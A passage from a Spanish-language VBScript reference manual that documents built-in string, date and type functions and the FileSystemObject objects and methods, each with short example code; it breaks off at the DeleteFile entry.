Opcional. Carácter de cadena que se usa para identificar los límites de las subcadenas. Si se omite, se asume que el carácter delimitador es el carácter de espacio (" "). Si delimitador es una cadena de longitud cero, se devuelve una matriz de un solo elemento que contiene toda la expresión.
cuenta
Opcional. número de subcadenas que se va a devolver; -1 indica que se devuelven todas las subcadenas.
comparación Opcional. Valor numérico que indica el tipo de comparación que se va a usar al evaluar las subcadenas. Consulte la sección Valores para saber cuáles son los valores permitidos.
Valores El argumento comparación puede tener los siguientes valores: Constante
Valor
Descripción
vbBinaryCompare
0
Realiza una comparación binaria.
vbTextCompare
1
Realiza una comparación de texto.
Comentarios El siguiente ejemplo usa la función Split para devolver una matriz a partir de una cadena. La función realiza una comparación de texto del delimitador y devuelve todas las subcadenas. Dim MiCadena, MiMatriz MiCadena = Split("VBScriptXisXfun!", "x", -1, 1) ' MiCadena(0) contiene "VBScript". ' MiCadena(1) contiene "es". ' MiCadena(2) contiene "divertido".
Función Sqr Descripción Devuelve la raíz cuadrada de un número.
Sintaxis Sqr(número)
By KarlosVid(ÊÇ)
www.idat.byethost14.com
61
El argumento número puede ser cualquier expresión numérica válida mayor o igual a 0.
Comentarios El siguiente ejemplo usa la función Sqr para calcular la raíz cuadrada de un número: Dim MyRaiz MyRaiz = Sqr(4) ' Devuelve 2. MyRaiz = Sqr(23) ' Devuelve 4.79583152331272. MyRaiz = Sqr(0) ' Devuelve 0. MyRaiz = Sqr(-4) ' Genera un error en tiempo de ejecución.
Función StrComp Descripción Devuelve un valor que indica el resultado de una comparación de cadenas.
Sintaxis StrComp(cadena1, cadena2[, comparación]) La sintaxis de la función StrComp tiene los siguientes argumentos: Parte
Descripción
cadena1
Requerido. Cualquier expresión de cadena válida.
cadena2
Requerido. Cualquier expresión de cadena válida.
comparación Opcional. Valor numérico que indica el tipo de comparación que se va a usar al evaluar cadenas. Si se omite, se realiza una comparación binaria. Consulte la sección Valores para saber cuáles son los valores permitidos.
Valores El argumento comparación puede tener los siguientes valores: Constante
Valor
Descripción
vbBinaryCompare
0
Realiza una comparación binaria.
vbTextCompare
1
Realiza una comparación de texto.
Valores devueltos La función StrComp devuelve los siguientes valores: Si
StrComp devuelve
cadena1 es menor que cadena2
-1
cadena1 es igual a cadena2
0
cadena1 es mayor que cadena2
1
cadena1 o cadena2 es Null
Null
Comentarios El siguiente ejemplo usa la función StrComp para devolver los resultados de una comparación de cadenas. Si el tercer argumento es igual a 1, se realiza una comparación de texto; si el tercer argumento es igual a 0 o si se omite, se realiza una comparación binaria.
By KarlosVid(ÊÇ)
www.idat.byethost14.com
62
Dim MiCad1, MiCad2, MiComp MiCad1 = "ABCD": MiCad2 = "abcd" ' Define las variables. MiComp = StrComp(MiCad1, MiCad2, 1) ' Devuelve 0. MiComp = StrComp(MiCad1, MiCad2, 0) ' Devuelve -1. MiComp = StrComp(MiCad2, MiCad1) ' Devuelve 1.
Función String Descripción Devuelve una cadena de caracteres repetidos de la longitud especificada.
Sintaxis String(número, carácter) La sintaxis de la función String tiene los siguientes argumentos: Parte
Descripción
número
Longitud de la cadena devuelta. Si número contiene Null, se devuelve Null.
carácter Código de carácter que especifica el carácter o expresión de cadena cuyo primer carácter se usa para generar la cadena devuelta. Si carácter contiene Null, se devuelve Null.
Comentarios Si especifica un número para carácter mayor que 255, String convierte el número en un código de carácter válido con la fórmula: carácter Mod 256 El siguiente ejemplo usa la función String para devolver cadenas de caracteres repetidos de la longitud especificada: Dim MiCadena MiCadena = String(5, "*") ' Devuelve "*****". MiCadena = String(5, 42) ' Devuelve "*****". MiCadena = String(10, "ABC") ' Devuelve "AAAAAAAAAA".
Función StrReverse Descripción Devuelve una cadena en la que se invierte el orden de los caracteres de una cadena especificada.
Sintaxis StrReverse(cadena1) El argumento cadena1 es la cadena cuyos caracteres se van a invertir. Si cadena1 es una cadena de longitud cero (""), se devuelve una cadena de longitud cero. Si cadena1 es Null, se produce un error.
Comentarios El siguiente ejemplo usa la función StrReverse para devolver una cadena en orden inverso: Dim MiCad MiCad = StrReverse("VBScript") ' MiCad contiene "tpircSBV".
By KarlosVid(ÊÇ)
www.idat.byethost14.com
63
Función Tan Descripción Devuelve la tangente de un ángulo.
Sintaxis Tan(número) El argumento número puede ser cualquier expresión numérica válida que exprese un ángulo en radianes.
Comentarios Tan recibe un ángulo y devuelve el radio o proporción de dos lados de un triángulo rectángulo. El radio o proporción es la longitud del lado opuesto al ángulo dividido por la longitud del lado adyacente al ángulo. Para convertir grados en radianes, multiplique los grados por pi/180. Para convertir radianes en grados, multiplique los radianes por 180/pi. El siguiente ejemplo usa la función Tan para devolver la tangente de un ángulo: Dim MiAngulo, MiCotangente MiAngulo = 1.3 ' Define un ángulo en radianes. MiCotangente = 1 / Tan(MiAngulo) ' Calcula la cotangente.
Función Time Descripción Devuelve un valor Variant del subtipo Date que indica la hora actual del sistema.
Sintaxis Time
Comentarios El siguiente ejemplo usa la función Time para devolver la hora actual del sistema: Dim MiHoraCompleta MiHoraCompleta = Time ' Devuelve la hora actual del sistema.
Función Timer Descripción Devuelve el número de segundos que transcurrieron desde las 12:00 a.m. (medianoche).
Sintaxis Timer
Observaciones By KarlosVid(ÊÇ)
www.idat.byethost14.com
64
El ejemplo siguiente utiliza la función Timer para determinar el tiempo que lleva iterar un bucle For...Next N veces: Function TiempoBucle(N) Dim StartTime, EndTime StartTime = Timer For I = 1 To N Next EndTime = Timer TimeIt = EndTime - StartTime End Function
Función TimeSerial Descripción Devuelve un valor Variant del subtipo Date que contiene la hora para una hora, minuto y segundo específicos.
Sintaxis TimeSerial(hora, minuto, segundo) La sintaxis de la función TimeSerial tiene los siguientes argumentos: Parte
Descripción
hora
Número entre 0 (12:00 a.m.) y 23 (11:00 p.m.), ambos inluidos, o una expresión numérica.
minuto
Cualquier expresión numérica.
segundo
Cualquier expresión numérica.
Comentarios Para especificar una hora, como 11:59:59, el intervalo de números para cada argumento TimeSerial debería estar dentro del intervalo aceptado para la unidad; es decir, entre 0 y 23 para las horas y entre 0 y 59 para los minutos y segundos. Sin embargo, también puede especificar horas ralativas para cada argumento, mediante el uso de cualquier expresión numérica que represente algún número de horas, minutos o segundos antes o después de una hora determinada. Los siguientes ejemplos usan expresiones en lugar de números de hora absolutos. La función TimeSerial devuelve una hora para 15 minutos antes (-15) de seis horas antes del mediodía (12 - 6) o 5:45:00 a.m. Dim MyTime1 MyTime1 = TimeSerial(12 - 6, -15, 0) ' Devuelve 5:45:00 a.m. Cuando cualquier argumento excede el intervalo aceptado para ese argumento, se incrementa hasta la siguiente unidad mayor según sea adecuado. Por ejemplo, si especifica 75 minutos, se evalúa como una hora y 15 minutos. Sin embargo, si cualquier argumento está fuera del intervalo entre -32768 y 32767 o si la hora especificada por los tres argumentos, directamente o a través de una expresión, hace que la fecha exceda el intervalo de fechas permitido, se produce un error.
Función TimeValue Descripción Devuelve un valor Variant del subtipo Date containing the time.
Sintaxis By KarlosVid(ÊÇ)
www.idat.byethost14.com
65
TimeValue(hora) Normalmente, el argumento hora es una expresión de cadena que representa una hora desde 0:00:00 (12:00:00 a.m.) hasta 23:59:59 (11:59:59 p.m.), ambas incluidas. Sin embargo, hora también puede ser cualquier expresión que represente una hora en ese intervalo. Si hora contiene Null, se devuelve Null.
Comentarios Puede escribir horas válidas mediante el uso del reloj de 12 horas o de 24 horas. Por ejemplo, "2:24p.m." y "14:24" son argumentos hora válidos. Si el argumento hora contiene información de fecha, TimeValue no devuelve la información de fecha. Sin embargo, si hora incluye información de fecha no válida, se produce un error. El siguiente ejemplo usa la función TimeValue para convertir una cadena en hora. También puede usar literales de fecha para asignar una hora directamente a una variable Variant (por ejemplo, MiHoraCompleta = #4:35:17 p.m.#). Dim MiHoraCompleta MiHoraCompleta = TimeValue("4:35:17 p.m.")
' MiHoraCompleta contiene 4:35:17 p.m.
Función TypeName Descripción Devuelve una cadena que proporciona información de subtipo Variant acerca de una variable.
Sintaxis TypeName(nombredevariable) El argumento requerido nombredevariable puede ser cualquier variable.
Valores devueltos La función TypeName devuelve los siguientes valores: Valor
Descripción
Byte
Valor byte
Integer
Valor entero
Long
Valor entero largo
Single
Valor de coma flotante de precisión simple
Double
Valor de coma flotante de precisión doble
Currency
Valor de moneda
Decimal
Valor decimal
Date
Valor de fecha u hora
String
Valor de cadena de caracteres
Boolean
Valor de tipo Boolean; True o False
Empty
No iniciado
Null
Datos no válidos
Nombre real de tipo de un objeto
Object
Objeto genérico
By KarlosVid(ÊÇ)
www.idat.byethost14.com
66
Unknown
Tipo de objeto desconocido
Nothing
Variable de objeto que aún no hace referencia a una instancia de un objeto
Error
Error
Comentarios El siguiente ejemplo usa la función TypeName para devolver información acerca de una variable: Dim ArrayVar(4), MiTipo NullVar = Null ' Asigna un valor Null. MiTipo MiTipo MiTipo MiTipo MiTipo
= = = = =
TypeName("VBScript") ' Devuelve "String". TypeName(4) ' Devuelve "Integer". TypeName(37.50) ' Devuelve "Double". TypeName(NullVar) ' Devuelve "Null". TypeName(ArrayVar) ' Devuelve "Variant()".
Función UBound Descripción Devuelve el mayor subíndice disponible para la dimensión indicada de una matriz.
Sintaxis UBound(nombredematriz[, dimensión]) La sintaxis de la función UBound tiene las siguientes partes: Parte
Descripción
nombredematriz Requerido. nombre de la variable de matriz que cumple con el estándar de asignación de nombres de variables. dimensión
Opcional. Número entero que indica para qué dimensión se va a devolver el límite superior. Use 1 para la primera dimensión, 2 para la segunda y así sucesivamente. Si se omite dimensión, se asume que es igual a 1.
Comentarios La función UBound se usa con la función LBound para determinar el tamaño de una matriz. Use la función LBound para buscar el límite inferior de una dimensión de una matriz. El límite inferior de cualquier dimensión siempre es igual a 0. Como resultado, UBound devuelve los siguientes valores para una matriz con estas dimensiones: Dim A(100,3,4) Instrucción
Valor devuelto
UBound(A, 1)
100
UBound(A, 2)
3
UBound(A, 3)
4
Función UCase By KarlosVid(ÊÇ)
www.idat.byethost14.com
67
Descripción Devuelve una cadena que se convirtió en mayúsculas.
Sintaxis UCase(cadena) El argumento cadena es cualquier expresión de cadena válida. Si cadena contiene Null, se devuelve Null.
Comentarios Sólo se convierten en mayúsculas las letras minúsculas; todas las letras mayúsculas y caracteres que no son letras no cambian. El siguiente ejemplo usa la función UCase para devolver una versión en mayúsculas de una cadena:
Dim MiPalabra MiPalabra = UCase("Hola mundo")
' Devuelve "HOLA MUNDO".
Función VarType Descripción Devuelve un valor que indica el subtipo de una variable.
Sintaxis VarType(nombredevariable) El argumento nombredevariable puede ser cualquier variable.
Valores devueltos La función VarType devuelve los siguientes valores: Constante
Valor
Descripción
vbEmpty
0
Empty (no iniciado)
vbNull
1
Null (datos no válidos)
vbInteger
2
Entero
vbLong
3
Entero largo
vbSingle
4
Número de coma flotante de precisión simple
vbDouble
5
Número de coma flotante de precisión doble
vbCurrency
6
Moneda
vbDate
7
Fecha
vbString
8
Cadena
vbObject
9
Objeto de Automatización
vbError
10
Error
vbBoolean
11
Valor de tipo Boolean
vbVariant
12
Valor de tipo Variant (sólo se usa con matrices de valores de tipo Variant)
By KarlosVid(ÊÇ)
www.idat.byethost14.com
68
vbDataObject
13
Un objeto de acceso a datos
vbByte
17
Valor de tipo Byte
8192
vbArray
Matriz
Nota Estas constantes las especifica VBScript. Como resultado, los nombres se pueden usar en cualquier parte del código en lugar de los valores reales. Comentarios La función VarType nunca devuelve el valor Array. Siempre se agrega a algún otro valor para indicar que es una matriz de un tipo determinado. El valor Variant sólo se devuelve cuando se agregó al valor Array para indicar que el argumento de la función VarType es una matriz. Por ejemplo, el valor devuelto para una matriz de enteros se calcula como 2 + 8192 u 8194. Si un objeto tiene una propiedad predeterminada, VarType (objeto) devuelve el tipo de su propiedad predeterminada. El siguiente ejemplo usa la función VarType para determinar el subtipo de una variable. Dim MiComprobacion MiComprobacion = VarType(300) ' Devuelve 2. MiComprobacion = VarType(#10/19/62#) ' Devuelve 7. MiComprobacion = VarType("VBScript") ' Devuelve 8.
Función Weekday Descripción Devuelve un número entero que representa el día de la semana.
Sintaxis Weekday(fecha, [primerdíasemana]) La sintaxis de la función Weekday tiene los siguientes argumentos: Parte
Descripción
fecha
Cualquier expresión que pueda representar una fecha. Si fecha contiene Null, se devuelve Null.
primerdíasemana Una constante que especifica el primer día de la semana. Si se omite, se asume vbSunday.
Valores El argumento primerdíasemana tiene los siguientes valores: Constante
Valor
Descripción
vbUseSystem
0
Usar configuración de API NLS.
vbSunday
1
Domingo
vbMonday
2
Lunes
vbTuesday
3
Martes
vbWednesday
4
Miércoles
vbThursday
5
Jueves
vbFriday
6
Viernes
By KarlosVid(ÊÇ)
www.idat.byethost14.com
69
7
vbSaturday
Sábado
Valores devueltos La función Weekday puede devolver cualquiera de los siguientes valores: Constante
Valor
Descripción
vbSunday
1
Domingo
vbMonday
2
Lunes
vbTuesday
3
Martes
vbWednesday
4
Miércoles
vbThursday
5
Jueves
vbFriday
6
Viernes
vbSaturday
7
Sábado
Comentarios El siguiente ejemplo usa la función Weekday para obtener el día de la semana de una fecha especificada: Dim MiFecha, MiDiaDeLaSemana MiFecha = #19 de octubre de 1962# ' Asigna una fecha. MiDiaDeLaSemana = Weekday(MiFecha) ' MiDiaDeLaSemana contiene 6 porque ' MiFecha representa un viernes.
Función WeekdayName Descripción Devuelve una cadena que indica el día de la semana especificado.
Sintaxis WeekdayName(díasemana, abreviar, primerdíasemana) La sintaxis de la función WeekdayName tiene las siguientes partes: Parte
Descripción
díasemana
Requerido. La designación numérica para el día de la semana. El valor numérico de cada día depende de la configuración del valor primerdíasemana.
abreviar
Opcional. Valor de tipo Boolean que indica si el nombre del día de la semana se debe abreviar. Si se omite, el valor predeterminado es False, que significa que el nombre del día de la semana no se abrevia.
primerdíasemana Opcional. Valor numérico que indica el primer día de la semana. Consulte la sección Valores para saber cuáles son los valores permitidos.
Valores El argumento primerdíasemana puede tener los siguientes valores: Constante
Valor
Descripción
vbUseSystem
0
Usar configuración de API NLS.
vbSunday
1
Domingo (predeterminado)
By KarlosVid(ÊÇ)
www.idat.byethost14.com
70
vbMonday
2
Lunes
vbTuesday
3
Martes
vbWednesday
4
Miércoles
vbThursday
5
Jueves
vbFriday
6
Viernes
vbSaturday
7
Sábado
Comentarios El siguiente ejemplo usa la función WeekDayName para devolver el día especificado: Dim MiFecha MiFecha = WeekDayName(6, True) ' MiFecha contiene Vie.
Función Year Descripción Devuelve un número entero que representa el año.
Sintaxis Year(fecha) El argumento fecha es cualquier expresión que pueda representar una fecha. Si fecha contiene Null, se devuelve Null.
Comentarios El siguiente ejemplo usa la función Year para obtener el año a partir de una fecha especificada: Dim MiFecha, MiAno MiFecha = #19 de octubre de 1962# ' Asigna una fecha. MiAno = Year(MiFecha) ' MiAno contiene 1962.
OBJETOS Objeto Dictionary Descripción Objeto que almacena pares de datos clave, elemento.
Comentarios Un objeto Dictionary es el equivalente a una matriz asociativa de PERL. Los elementos, que pueden ser cualquier forma de datos, se almacenan en la matriz. Cada elemento está asociado con una clave única. La clave se usa para recuperar un elemento individual y, normalmente, es un entero o una cadena, pero puede ser cualquier tipo de datos excepto una matriz.
By KarlosVid(ÊÇ)
www.idat.byethost14.com
71
El siguiente código muestra cómo crear un objeto Dictionary: Dim d ' Crea una variable Set d = CreateObject("Scripting.Dictionary") d.Add "a", "Atenas" ' Agrega algunas claves y elementos d.Add "b", "Belgrado" d.Add "c", "Cairo"
Objeto Drive Descripción Proporciona acceso a las propiedades de una unidad de disco o recurso de red compartido específico.
Comentarios El siguiente código muestra el uso del objeto Drive para tener acceso a las propiedades de una unidad: Function MostrarEspacioLibre(unidadRuta) Dim fso, d, s Set fso = CreateObject("Scripting.FileSystemObject") Set d = fso.GetDrive(fso.GetDriveName(unidadRuta)) s = "Unidad " & UCase(unidadRuta) & " - " s = s & d.VolumeName & "
" s = s & "Espacio libre: " & FormatNumber(d.FreeSpace/1024, 0) s = s & " Kbytes" MostrarEspacioLibre = s End Function
Colección Drives Descripción Colección de sólo lectura de todas las unidades disponibles.
Comentarios Las unidades de discos removibles no necesitan tener insertado un disco para que aparezcan en la colección Drives. El código siguiente muestra cómo obtener la colección Drives y cómo iterar a través de la colección con la instrucción For Each...Next: Function MostrarListaDeUnidades Dim fso, d, dc, s, n Set fso = CreateObject("Scripting.FileSystemObject") Set dc = fso.Drives For Each d in dc n = "" s = s & d.DriveLetter & " - " If d.DriveType = Remote Then n = d.ShareName ElseIf d.IsReady Then n = d.VolumeName End If s = s & n & "
" Next ShowDriveList = s End Function
By KarlosVid(ÊÇ)
www.idat.byethost14.com
72
Objeto File Descripción Proporciona acceso a todas las propiedades de un archivo.
Comentarios El siguiente código muestra cómo obtener un objeto File y cómo ver una de sus propiedades. Function MostrarFechaCreacion(especificaciondearchivo) Dim fso, f Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso.GetFile(especificaciondearchivo) MostrarFechaCreacion = f.DateCreated End Function
Colección Files Descripción Colección de todos los objetos File que existen en una carpeta.
Comentarios El código siguiente muestra cómo obtener la colección Files y cómo iterar a través de la colección con la instrucción For Each...Next: Function MostrarListaDeCarpetas(especificaciondecarpeta) Dim fso, f, f1, fc, s Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso.GetFolder(especificaciondecarpeta) Set fc = f.Files For Each f1 in fc s = s & f1.name s = s & "
" Next MostrarListaDeCarpetas = s End Function
Objeto FileSystemObject Descripción Proporciona acceso al sistema de archivos de un equipo.
Comentarios El siguiente código muestra cómo se usa FileSystemObject para devolver un objeto TextStream del que se puede leer o en el que se puede escribir: Dim fso, MyFile Set fso = CreateObject("Scripting.FileSystemObject") Set MyFile = fso.CreateTextFile("c:\archprue.txt", True) MyFile.WriteLine("Esto es una prueba.") MyFile.Close En el código anteror, la función CreateObject devuelve FileSystemObject (fso). El método CreateTextFile crea el archivo como un objeto TextStream (a) y el método WriteLine escribe una línea de texto en el archivo de texto creado. El método Close vacía el búfer y cierra el archivo.
By KarlosVid(ÊÇ)
www.idat.byethost14.com
73
Objeto Folder Descripción Proporciona acceso a todas las propiedades de una carpeta.
Comentarios El siguiente código muestra cómo obtener un objeto Folder y cómo devolver una de sus propiedades: Function MostrarFechaCreacion(especificaciondecarpeta) Dim fso, f Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso.GetFolder(especificaciondecarpeta) MostrarFechaCreacion = f.DateCreated End Function
Colección Folders Descripción Colección de todos los objetos Folder contenidos en un objeto Folder.
Comentarios El código siguiente muestra cómo obtener la colección Folders y cómo iterar a través de la colección con la instrucción For Each...Next: Function MostrarListaDeCarpetas(especificaciondecarpeta) Dim fso, f, f1, fc, s Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso.GetFolder(especificaciondecarpeta) Set fc = f.SubFolders For Each f1 in fc s = s & f1.name s = s & "
" Next MostrarListaDeCarpetas = s End Function
Objeto TextStream Descripción Permite el acceso secuencial a un archivo.
Comentarios En el siguiente código, a es el objeto TextStream devuelto por el método CreateTextFile en FileSystemObject: Dim fso, MyFile Set fso = CreateObject("Scripting.FileSystemObject") Set MyFile= fso.CreateTextFile("c:\archprue.txt", True) MyFile.WriteLine("Esto es una prueba.") MyFile.Close WriteLine y Close son dos métodos del objeto TextStream.
By KarlosVid(ÊÇ)
www.idat.byethost14.com
74
MÉTODOS Método Add (Dictionary) Descripción Agrega un par elemento y clave a un objeto Dictionary.
Sintaxis objeto.Add clave, elemento El método Add tiene las siguientes partes: Parte
Descripción
objeto
Requerido. Siempre es el nombre de un objeto Dictionary.
clave
Requerido. La clave asociada al elemento que se va a agregar.
elemento
Requerido. El elemento asociado a la clave que se va a agregar.
Comentarios Se producirá un error si la clave ya existe. En el siguiente ejemplo se muestra el uso del método Add: Dim d ' Crear una variable Set d = CreateObject("Scripting.Dictionary") d.Add "a", "Atenas" ' Agregar algunas claves y elementos d.Add "b", "Belgrado" d.Add "c", "Cairo"
Método Add (Folders) Descripción Agrega un nuevo objeto Folder a una colección Folders.
Sintaxis objeto.Add(nombredecarpeta) El método Add tiene las siguientes partes: Parte
Descripción
objeto
Requerido. Siempre es el nombre una colección Folders.
nombredecarpeta
Requerido. El nombre del nuevo objeto Folder que se va a agregar.
Comentarios By KarlosVid(ÊÇ)
www.idat.byethost14.com
75
En el siguiente ejemplo se muestra el uso del método Add para agregar una nueva carpeta: Sub AgregarNuevaCarpeta(ruta, nombredecarpeta) Dim fso, f, fc, nf Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso.GetFolder(ruta) Set fc = f.SubFolders If nombredecarpeta <> "" Then Set nf = fc.Add(nombredecarpeta) Else Set nf = fc.Add("Nueva carpeta") End If End Sub Se producirá un error si nombredecarpeta ya existe.
Método BuildPath Descripción Agrega un nombre a una ruta existente.
Sintaxis objeto.BuildPath(ruta, nombre) La sintaxis del método BuildPath tiene las siguientes partes: Parte
Descripción
objeto
Requerido. Siempre es el nombre de un FileSystemObject.
ruta
Requerido. Ruta existente a la que se va a anexar name. Esta ruta puede ser absoluta o relativa, y no es necesario que especifique una carpeta existente.
nombre Requerido. Nombre que se va a anexar a la ruta existente.
Comentarios El método BuildPath inserta un separador de ruta adicional entre la ruta existente y el nombre, en caso de que sea necesario. En el siguiente ejemplo se muestra el uso del método BuildPath: Function ObtenerRutaDeBuild(ruta) Dim fso, nuevaruta Set fso = CreateObject("Scripting.FileSystemObject") nuevaruta = fso.BuildPath(ruta, "Subcarpeta") ObtenerRutaDeBuild = nuevaruta End Function
Método Close Descripción Cierra un archivo TextStream abierto.
Sintaxis objeto.Close
By KarlosVid(ÊÇ)
www.idat.byethost14.com
76
El objeto siempre es el nombre de un objeto TextStream.
Comentarios En el siguiente ejemplo se muestra el uso del método Close para cerrar un archivo TextStream abierto: Sub CrearUnArchivo Dim fso, MyFile Set fso = CreateObject("Scripting.FileSystemObject") Set MyFile = fso.CreateTextFile("c:\archivodeprueba.txt", True) MyFile.WriteLine("Esto es una prueba.") MyFile.Close End Sub
Método Copy Descripción Copia un archivo o carpeta especificados de una ubicación a otra.
Sintaxis objeto.Copy destino[, sobrescribir] La sintaxis del método Copy tiene las siguientes partes: Parte
Descripción
objeto
Requerido. Siempre es el nombre de un objeto File o Folder.
destino
Requerido. Destino al que se va a copiar el archivo o la carpeta. No se admiten caracteres comodín.
sobrescribir Opcional. Valor de tipo Boolean que es True (predeterminado) si se van a sobrescribir los archivos o carpetas existentes; es False en caso contrario.
Comentarios Los resultados del método Copy en un objeto File o Folder son idénticos a las operaciones realizadas al usar FileSystemObject.CopyFile o FileSystemObject.CopyFolder, donde se pasa como argumento el archivo o la carpeta al que hace referencia el objeto. Sin embargo, debe tener en cuenta que los métodos alternativos pueden copiar varios archivos o carpetas. En el siguiente ejemplo se muestra el uso del método Copy: Dim fso, MyFile Set fso = CreateObject("Scripting.FileSystemObject") Set MyFile = fso.CreateTextFile("c:\archivodeprueba.txt", True) MyFile.WriteLine("Esto es una prueba.") MyFile.Close Set MyFile = fso.GetFile("c:\archivodeprueba.txt") MyFile.Copy ("c:\windows\escritorio\prueba2.txt")
Método CopyFile Descripción Copia uno o más archivos de una ubicación a otra.
Sintaxis By KarlosVid(ÊÇ)
www.idat.byethost14.com
77
objeto.CopyFile origen, destino[, sobrescribir] La sintaxis del método CopyFile tiene las siguientes partes: Parte
Descripción
objeto
Requerido. El objeto siempre es el nombre de un objeto FileSystemObject.
origen
Requerido. Especificación de archivos de cadenas de caracteres, que puede incluir caracteres comodín, para uno o más archivos que se van a copiar.
destino
Requerido. Destino de cadena de caracteres donde se van a copiar el archivo o archivos desde origen. No se admiten caracteres comodín.
sobrescribir Opcional. Valor de tipo Boolean que indica si se van a sobrescribir los archivos existentes. Si es True, los archivos se sobrescribirán; si es False, no se sobrescribirán. El valor predeterminado es True. Tenga en cuenta que CopyFile fallará si el destino tiene el atributo de sólo lectura, independientemente del valor de sobrescribir. Comentarios Sólo se puede usar caracteres comodín en el último componente de la ruta del argumento origen. Por ejemplo, puede usar: FileSystemObject.CopyFile "c:\misdocumentos\cartas\*.doc", "c:\carpetatemporal\" Pero no puede utilizar: FileSystemObject.CopyFile "c:\misdocumentos\*\R1???97.xls", "c:\carpetatemporal" Si el origen contiene caracteres comodín o el destino termina con un separador de ruta (\), se supone que el destino es una carpeta existente en la que se van a copiar los archivos que coincidan. En caso contrario, se supone que el destino es el nombre de un archivo que se va a crear. En cualquier caso, se pueden dar tres situaciones al copiar un archivo individual. • • •
Si no existe el destino, el origen se copia. Es el caso más habitual. Si el destino es un archivo existente, se producirá un error si el parámetro sobrescribir es False. En caso contrario, se intentará copiar el origen sobre el archivo existente. Si el destino es un directorio, se producirá un error.
También se produce un error si un origen que usa caracteres comodín no coincide con ningún archivo. El método CopyFile se detiene en el primer error que encuentra. No se intenta deshacer ningún cambio realizado antes de que se produjera un error.
Método CopyFolder Descripción Copia de forma recursiva una carpeta de una ubicación a otra.
Sintaxis objeto.CopyFolder origen, destino[, sobrescibir] La sintaxis del método CopyFolder tiene las siguientes partes: Parte
Descripción
objeto
Requerido. Siempre es el nombre de un objeto FileSystemObject.
origen
Requerido. Especificación de carpetas de cadenas de caracteres, que puede incluir caracteres comodín, para una o más carpetas que se van a copiar.
destino
Requerido. Destino de cadena de caracteres donde se van a copiar la carpeta o carpetas desde el origen. No se admiten caracteres comodín.
By KarlosVid(ÊÇ)
www.idat.byethost14.com
78
sobrescibir Opcional. Valor de tipo Boolean que indica si se van a sobrescribir las carpetas existentes. Si es True, las carpetas se sobrescribirán; si es False, no se sobrescribirán. El valor predeterminado es True.
Comentarios Sólo se puede usar caracteres comodín en el último componente de la ruta del argumento origen. Por ejemplo, puede usar: FileSystemObject.CopyFolder "c:\misdocumentos\cartas\*", "c:\carpetatemporal\" Pero no puede utilizar: FileSystemObject.CopyFolder "c:\misdocumentos\*\*", "c:\carpetatemporal\" Si el origen contiene caracteres comodín o el destino termina con un separador de ruta (\), se supone que el destino es una carpeta existente en la que se van a copiar las carpetas y subcarpetas que coincidan. En caso contrario, se supone que el destino es el nombre de un archivo que se va a crear. En cualquier caso, se pueden dar cuatro situaciones al copiar una carpeta individual. • • • •
Si no existe el destino, se copiará la carpeta origen y todo su contenido. Es el caso más habitual. Si el destino es un archivo existente, se producirá un error . Si el destino es un directorio, se intentará copiar la carpeta y todo su contenido. Si un archivo contenido en el origen ya existe en el destino, se producirá un error si sobrescribir es False. En caso cotrario, intentará copiar el archivo sobre el archivo existente. Si el destino es un directorio de sólo lectura, se producirá un error si se intenta copiar a dicho directorio un archivo de sólo lectura existente y sobrescribir es False.
También se produce un error si un origen que usa caracteres comodín no coincide con ninguna carpeta. El método CopyFolder se detiene en el primer error que encuentra. No se intenta deshacer ningún cambio realizado antes de que se produjera un error.
Método CreateFolder Descripción Crea una carpeta.
Sintaxis objeto.CreateFolder(nombredecarpeta) El método CreateFolder tiene las siguientes partes: Parte
Descripción
objeto
Requerido. Siempre es el nombre de un objeto FileSystemObject.
nombredecarpeta
Requerido. Expresión de cadena que identifica la carpeta que se va a crear.
Comentarios Se produce un error si la carpeta especificada ya existe. En el siguiente ejemplo se muestra el uso del método CreateFolder: Function EjemploDeCreateFolder Dim fso, f Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso.CreateFolder("c:\Nueva carpeta") EjemploDeCreateFolder = f.Path End Function
By KarlosVid(ÊÇ)
www.idat.byethost14.com
79
Método CreateTextFile Descripción Crea el nombre de archivo especificado y devuelve un objeto TextStream que se puede usar para leer o escribir en el archivo.
Sintaxis objeto.CreateTextFile(nombredearchivo[, sobrescribir[, unicode]]) El método CreateTextFile tiene las siguientes partes: Parte
Descripción
objeto
Requerido. Siempre es el nombre de un objeto FileSystemObject o Folder.
nombredearchivo Requerido. Expresión de cadena que identifica al archivo que se va a crear. sobrescribir
Opcional. Valor de tipo Boolean que indica si se puede sobrescribir un archivo existente. El valor es True si el archivo se puede sobrescribir; es False en caso contrario. Si no se especifica, no se sobrescribirán los archivos existentes.
unicode
Opcional. Valor de tipo Boolean que indica si el archivo se va a crear como archivo Unicode o ASCII. El valor es True si el archivo creado es Unicode; el valor es False si es creado como archivo ASCII. Si se omite este argumento, se crea un archivo ASCII de forma predeterminada.
Comentarios En el siguiente código se muestra cómo usar el método CreateTextFile para crear y abrir un archivo de texto: Sub CrearUnArchivo Dim fso, MyFile Set fso = CreateObject("Scripting.FileSystemObject") Set MyFile = fso.CreateTextFile("c:\archprueb.txt", True) MyFile.WriteLine("Esto es una prueba.") MyFile.Close End Sub Se producirá un error si el argumento sobrescribir es False, o si no se especifica, para un nombredearchivo que ya existe.
Método Delete Descripción Elimina un archivo o carpeta especificados.
Sintaxis objeto.Delete forzar La sintaxis del método Delete tiene las siguientes partes: Parte
Descripción
objeto Requerido. Siempre es el nombre de un objeto File o Folder. forzar Opcional. Valor de tipo Boolean que es True si se desea eliminar archivos o carpetas que tienen atributo de sólo lectura; el valor predeterminado es False si no se van a eliminar.
By KarlosVid(ÊÇ)
www.idat.byethost14.com
80
Comentarios Se produce un error si no existe el archivo o carpeta especificados. El método Delete no diferencia las carpetas que tienen contenido y las que no tienen. La carpeta especificada se eliminará independientemente de si tiene o no tiene contenido. Los resultados del método Delete en un objeto File o Folder son idénticos a las operaciones realizadas al usar FileSystemObject.DeleteFile o FileSystemObject.DeleteFolder. En el siguiente ejemplo se muestra el uso del método Delete: Dim fso, MyFile Set fso = CreateObject("Scripting.FileSystemObject") Set MyFile = fso.CreateTextFile("c:\archprue.txt", True) MyFile.WriteLine("Esto es una prueba.") MyFile.Close Set MyFile = fso.GetFile("c:\archprue.txt") Set MyFile = fso.GetFile("c:\archprue.txt") MyFile.Delete
Método DeleteFile Descripción Elimina un archivo especificado.
Sintaxis objeto.DeleteFile especificacióndearchivo[, forzar] La sintaxis del método DeleteFile tiene las siguientes partes: Parte
